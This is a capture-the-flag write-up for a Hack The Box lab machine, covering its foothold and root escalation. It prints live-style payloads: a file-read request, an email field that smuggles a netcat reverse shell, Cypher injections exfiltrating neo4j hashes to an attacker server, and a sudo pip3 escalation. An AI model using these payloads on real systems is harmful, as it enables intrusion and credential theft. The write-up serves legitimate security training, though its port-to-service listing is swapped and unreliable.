Hack The Box OnlyForYou Writeup (Medium Linux)
Medium Linux box. Command injection in the contact form gives a shell, Cypher injection against neo4j leaks john's hash, and sudo pip3 download runs as root.
Summary
OnlyForYou runs two vhosts, and the beta site’s download endpoint allows local file inclusion, which is what exposes the source of the main site. form.py validates the submitted email address with a loose regular expression and then passes it to a shell, so a crafted address in the contact form injects a netcat reverse shell. On the box, chisel forwards the locally bound services, and the admin dashboard on port 8001 accepts admin:admin. Its employee search builds a neo4j Cypher query from user input, and injecting a LOAD CSV call exfiltrates the stored hashes to an attacker HTTP server, including john’s, which cracks to ThisIs4You for SSH. john may run pip3 download as root, and because he reuses that password on the local Gogs instance, a malicious pip package hosted in a new repository executes as root when downloaded.
export IP=10.10.11.210
Service Enumeration
80/tcp (OpenSSH 8.2p1)
22/tcp (nginx 1.18.0)
Target: Webserver at port 80
Local path: /var/www/beta.only4you.htb/
Local File Inclusion
Endpoint request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /download HTTP/1.1
Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Origin: http://beta.only4you.htb
Connection: close
Referer: http://beta.only4you.htb/list
Upgrade-Insecure-Requests: 1
image=/etc/passwd
Initial Access - RCE
Vulnerable code at /var/www/only4you.htb/form.py:
1
2
3
4
5
6
7
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) ## Vulnerable!
output = result.stdout.decode('utf-8')
When we send a message through the form at http://only4you.htb/#contact, we can intercept the request and change the email address to:
1
test%40test.com%7Crm%20-f%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.10%204242%20%3E%2Ftmp%2Ff
Fire up netcat and get a reverse shell connection.
Post Exploitation: Privilege Escalation
User: john
| IP Address | Local Open Ports |
|---|---|
| 10.10.11.210 | 3000 (gogs),3306 (mysql),7474 (neo4j),7687,8001 (admin dashboard),33060 |
Using chisel (Attacking machine) ./chisel server -p 1337 –reverse –socks5 (Victim machine) ./chisel client 10.10.14.10:1337 R:socks &
Target: Port 8001
Using default credentials: admin:admin
Neo4j database dump - Cypher Injection
neo4j Cypher Injection on POST at http://localhost:8001/search. Form is availeble here
Fire up a http server using python: python3 -m http.server 80
1
2
3
4
5
6
7
8
<!-- Getting components information -->
dev' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.31/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
<!-- Getting labels information -->
dev' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.31/?label='+label as l RETURN 0 as _0 //
<!-- Dump users and password hashes -->
dev' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.31/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
Cracked: ThisIs4You
- Able to log in as john using ssh.
User: root
John can run the following as root:
1
2
3
4
5
6
7
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
The same password john uses for his sytem user, is his password for the gogs service on port 3000. We can create a new repository (remember to check the box that includes default files when the repo is created) and then upload a malicious pip package. More information on how to create a malicious pip package can be found here
After creating and uploading the malicious package to the gogs rep, we can run the command:
1
2
3
4
5
john@only4you:~$ sudo /usr/bin/pip3 download http\://127.0.0.1\:3000/john/exploiter/raw/master/exploitpy-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/exploiter/raw/master/exploitpy-0.0.1.tar.gz
Downloading http://127.0.0.1:3000/john/exploiter/raw/master/exploitpy-0.0.1.tar.gz (1.0 kB)
Saved ./exploitpy-0.0.1.tar.gz
Successfully downloaded exploitpy
Remember that you need to pass the “raw” version of the gz file in order for it to work properly! And then,
1
2
3
4
5
john@only4you:~$ /bin/bash -p
bash-5.0# cat /root/root.txtr
cat: /root/root.txtr: No such file or directory
bash-5.0# cat /root/root.txt
2447fd5a93e0136a3001eb434b023526